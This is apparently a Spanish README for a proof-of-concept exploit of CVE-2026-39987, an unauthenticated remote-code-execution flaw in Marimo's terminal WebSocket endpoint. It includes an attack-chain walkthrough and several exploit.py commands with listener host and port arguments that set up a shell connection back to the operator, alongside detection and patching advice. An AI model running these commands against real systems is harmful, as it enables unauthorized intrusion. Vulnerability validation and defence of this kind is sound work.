
Prueba de concepto de exploit para CVE-2026-39987, una RCE de pre-autenticación en el endpoint WebSocket de terminal de Marimo. Demuestra la ejecución de comandos sin autenticación e incluye pruebas de validación para instancias vulnerables y parcheadas.
| Propiedad | Valor |
|---|
| CVE | CVE-2026-39987 |
| Producto | Marimo |
| Vulnerabilidad | Ejecución Remota de Código Pre-Autenticación |
| Vector de Ataque | Red |
| Autenticación | No requerida |
| Interacción del Usuario | No requerida |
| CWE | CWE-306 — Autenticación faltante para Función Crítica |
| Severidad | Crítica |
| Versión Corregida | 0.23.0 |
CVE-2026-39987 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) pre-autenticación que afecta a Marimo, un entorno de notebooks Python reactivo. La vulnerabilidad se encuentra en el endpoint WebSocket de terminal /terminal/ws.
El endpoint de terminal vulnerable crea un PTY interactivo después de aceptar una conexión WebSocket.
Conceptualmente, el flujo de solicitud vulnerable es:
Cliente Remoto
|
| Conexión WebSocket
v
/terminal/ws
|
| Validación de autenticación faltante
v
WebSocket aceptado
|
v
PTY creado
|
v
Shell interactivo
El límite de seguridad importante es la verificación de autenticación faltante.
Un endpoint que expone ejecución arbitraria de comandos no debe permitir que un cliente no autenticado alcance la lógica de creación del PTY.
El propósito de este proyecto es demostrar, en un entorno controlado, la falta de aplicación de autenticación que afecta al endpoint WebSocket de terminal de Marimo.
Los equipos de seguridad pueden usar el proyecto para:
Advertencia: Ejecute el PoC solo contra sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.
La cadena completa de la vulnerabilidad se puede resumir de la siguiente manera:
1. El atacante descubre una instancia de Marimo expuesta
|
v
2. El atacante se conecta a /terminal/ws
|
v
3. La autenticación no se aplica
|
v
4. La conexión WebSocket es aceptada
|
v
5. Se crea el terminal PTY
|
v
6. El atacante obtiene ejecución de comandos
|
v
7. Los comandos se ejecutan como el proceso de Marimo
El fallo de seguridad crítico ocurre en el paso 3.
Python 3.7+
pip
Acceso de red al objetivo autorizado
# Instalación básica
pip install websocket-client
# Instalación completa
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Parámetro | Tipo | Descripción | Predeterminado |
|---|---|---|---|
-u, --url | string | URL base de la instancia de Marimo objetivo | Requerido |
--lhost | string | Dirección IP del listener | Requerido |
--lport | int | Puerto del listener (1-65535) | Requerido |
--timeout | int | Tiempo de espera del listener en segundos | 15 |
--retries | int | Reintentos de conexión WebSocket | 3 |
--retry-delay | float | Retardo entre reintentos | 2.0 |
--no-verify-ssl | flag | Deshabilitar verificación de certificado SSL | False |
-v, --verbose | flag | Habilitar salida detallada | False |
-s, --silent | flag | Suprimir salida | False |
Fase 1: Inicialización
↓ Validar parámetros
↓ Configurar registro de eventos
Fase 2: Preparación
↓ Inicializar listener
↓ Establecer conexión WebSocket
Fase 3: Validación
↓ Probar endpoint de terminal
↓ Verificar aplicación de autenticación
↓ Registrar comportamiento de la conexión
Fase 4: Demostración
↓ Establecer sesión de prueba autorizada
↓ Verificar contexto de ejecución de comandos
↓ Recopilar evidencia de validación
Fase 5: Limpieza
↓ Restaurar estado del terminal
↓ Cerrar conexiones
↓ Liberar recursos
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Resultado Esperado: El endpoint de terminal vulnerable acepta la conexión no autenticada.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Resultado Esperado: La conexión es rechazada o prevenida por los controles de autenticación.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Resultado Esperado: El tiempo de espera se informa correctamente.
Severidad: Crítica (CVSS 9.3)
Complejidad: Baja
Autenticación: Ninguna requerida
Impacto: Ejecución Remota de Código
Protocolo: WebSocket
Endpoint: /terminal/ws
Versión Corregida: 0.23.0
El README fuente clasifica el problema como CVSS 9.3 Crítico e identifica CWE-306, WebSocket como protocolo y /terminal/ws como el endpoint afectado.
Los indicadores potenciales de explotación incluyen conexiones WebSocket inesperadas a:
/terminal/ws
Los defensores deben investigar:
Actualice Marimo a una versión corregida:
0.23.0 o posterior
Recomendaciones defensivas adicionales incluyen:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severidad: Crítica
Tipo: RCE Pre-Autenticación
Protocolo: WebSocket
Endpoint: /terminal/ws
Auth: Ninguna requerida
Corregido: 0.23.0
SOLO USO AUTORIZADO
Este proyecto se proporciona exclusivamente para:
El uso no autorizado está estrictamente prohibido y puede violar las leyes locales e internacionales aplicables.
Este proyecto se proporciona con fines de investigación en seguridad, validación de vulnerabilidades y educativos.
No utilice el PoC contra sistemas que no le pertenezcan o para los que no tenga autorización explícita de prueba.
Los mantenedores no son responsables del uso indebido, pruebas no autorizadas, daños, pérdida de datos o cualquier consecuencia derivada del uso de este proyecto.